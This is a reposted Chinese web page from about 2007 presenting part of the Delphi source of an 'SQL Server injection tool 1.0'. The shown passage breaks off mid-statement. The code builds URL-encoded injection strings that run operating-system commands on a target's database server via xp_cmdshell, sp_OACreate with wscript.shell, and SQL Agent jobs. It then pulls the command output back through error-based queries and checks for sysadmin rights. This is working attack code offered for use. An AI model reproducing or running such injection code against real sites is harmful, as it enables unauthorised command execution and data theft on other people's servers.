转至繁体中文版     | 网站首页 | 文章中心 | 下载中心 | 图片中心 | 笑话频道 | 教程频道 | 会员中心 | 雁过留声 | 
最新公告:     "MinTao学以致用网"欢迎您的光临,你的支持便是我们的动力,欢迎广大网友和各界人士亲临指导,你们的一个小小的建议便是我们发展的开路石!  [MinTao  2007年9月5日]        
您现在的位置: MinTao学以致用网 >> 文章中心 >> 电子课堂 >> 数据库 >> Sql Server >> 文章正文
专题栏目
更多内容
最新推荐 更多内容
相关文章
SQL Server的存储过程调
SQL Server安全性简介
SQL 语法参考手册
MS SQL Sever 7.0 存储引
SQL SERVER和SYBASE
SQL Server 7.0数据库的
VB应用程序访问SQL Serv
将DBF数据库转换成SQL S
拷贝的SQL Server 7数据
浅谈优化SQL Server数据
更多内容
SQL Server注入工具 1.0         
SQL Server注入工具 1.0
作者:hnxyy 文章来源:不详 点击数: 更新时间:2007-11-14 12:57:01
nbsp; if cbDisp.Checked then
      begin
        BtnCancel.Visible :=true;
        BtnExecute.Visible :=False;
        //第一种办法
        //把命令执行的结果保存到一个本地文件中,然后将此文件的内容写入到新建的临时表进行输出
        {CommandStr:=Url+'''';EXEC%20MASTER..XP_CMDSHELL%20''''''''''''+CommandStr+''''>C:\Command_Tmp.log''''''''''''+
                        '''';DROP%20TABLE%20[Command_Tmp]''''+
                        '''';CREATE%20TABLE%20[Command_Tmp]([ResultTxt]%20varchar(7996)%20NULL)''''+
                        '''';BULK%20INSERT%20[''''+DbName+'''']..[Command_Tmp]%20FROM%20''''''''C:\Command_Tmp.log''''''''%20WITH%20(KEEPNULLS)''''+
                        '''';Alter%20Table%20[Command_Tmp]%20add%20[ID]%20int%20NOT%20NULL%20IDENTITY%20(1,1)--''''; }

        //第二种办法,直接把命令执行的结果写入数据库中输出,效率较高
        CommandStr :=Url+'''';DROP%20TABLE%20[Command_Tmp];''''+
                         ''''CREATE%20TABLE%20[Command_Tmp]([id]%20int%20NOT%20NULL%20IDENTITY%20(1,1),''''+
                         ''''%20[ResultTxt]%20varchar(1024)%20NULL);''''+
                         ''''insert%20into%20[Command_Tmp](ResultTxt)%20EXEC%20MASTER..XP_CMDSHELL%20''''''''''''+
                         CommandStr+'''''''''''';insert%20into%20[Command_Tmp]%20values%20(''''''''g_over'''''''')--'''';

        if Get(CommandStr) then
        begin
          CountStr :=GetWBMsg(Url+''''%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))''''+
                        ''''%2Bchar(124)%20From%20[Command_Tmp]%20Where%201=1)>0;--'''');
          try
            iCount :=strtoint(CountStr);
          except
            Memo2.Lines.add(''''出现意外数据,操作终止!'''');
            exit;
          end;
          for i:=1 to iCount do
          begin
            ResultStr :='''''''';
            ResultStr :=GetWBMsg(Url+''''%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null''''+
                          ''''%20then%20char(32)%20else%20char(124)%2BResultTxt%2Bchar(124)''''+
                          ''''%20End%20From%20[Command_Tmp]%20Where%20ID=''''+IntToStr(i)+'''')=0;--'''');
            if isCancel then
              Break;
            if (ResultStr<>'''''''') and (ResultStr<>''''未知'''') then
              Memo2.Lines.Add(ResultStr);
          end;
        end;
        if Get(Url+'''';DROP%20TABLE%20[Command_Tmp]--'''') then
        begin
          Memo2.Lines.Add(''''命令执行完成'''');
        end;
      end else
      begin
        CommandStr:=Url+'''';EXEC%20MASTER..XP_CMDSHELL%20''''''''''''+CommandStr+''''''''''''--'''';
        if get(CommandStr) then
          Memo2.Lines.Add(''''命令执行完成。'''');
      end;
    end;
   //OAcreate
   //使用sp_OACreate来运行系统命令
    if rbOA.Checked then
    begin
      //指明当前用户是否为 sysadmin 固定服务器角色的成员
      if get(Url+''''%20And%20Cast(IS_SRVROLEMEMBER(''''''''sysadmin'''''''')%20as%20varchar(1))=1'''') then
      begin
        CommandStr :=Url+'''';use%20''''+DbName+'''';declare%20@o%20int;exec%20''''+
                         ''''sp_oacreate%20''''''''wscript.shell'''''''',@o%20out;exec%20''''+
                         ''''sp_oamethod%20@o,''''''''run'''''''',NULL,''''''''cmd%20/c%20''''+
                         CommandStr+''''''''''''--'''';
        if Get(CommandStr) then
          Memo2.Lines.Add(''''命令执行完成。'''');
      end else
      begin
        Memo2.Lines.Add(''''只有 sysadmin 固定服务器角色的成员才能执行 sp_OACreate。'''');
        exit;
      end;
    end;
    //Job
    //使用SQLSERVERAGENT的JOB来运行系统命令
    if rbJob.Checked then
    begin
      //启动SQLSERVERAGENT
      if Get(Url+'''';exec%20master..xp_servicecontrol%20''''''''start'''''''',''''''''SQLSERVERAGENT'''''''';--'''') then
      begin
        Memo2.Lines.Add(''''SQLSERVERAGENT 启动成功!'''');
        CommandStr :=Url+'''';use%20''''+DbName+'''';exec%20sp_delete_job%20null,''''''''x''''''''''''+
                     &

上一页  [1] [2] [3] [4] 下一页

文章录入:mintao    责任编辑:mintao 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007 MinTao学以致用网(www.mintao.net) Inc All Rights Reserved.
    QQ:543098146有事请Q我! QQ:261561092有事请Q我 QQ:179647303有事请Q我 MSN:min906@126.com
    站长:MinTao 信息产业部ICP备案号:鄂ICP备07500065号

    学以致用是我们学习者的至高境界和不懈追求,[MinTao学以致用网]与大家共同学习,共同进步……
    信息产业部备案
    *鄂ICP备07500065号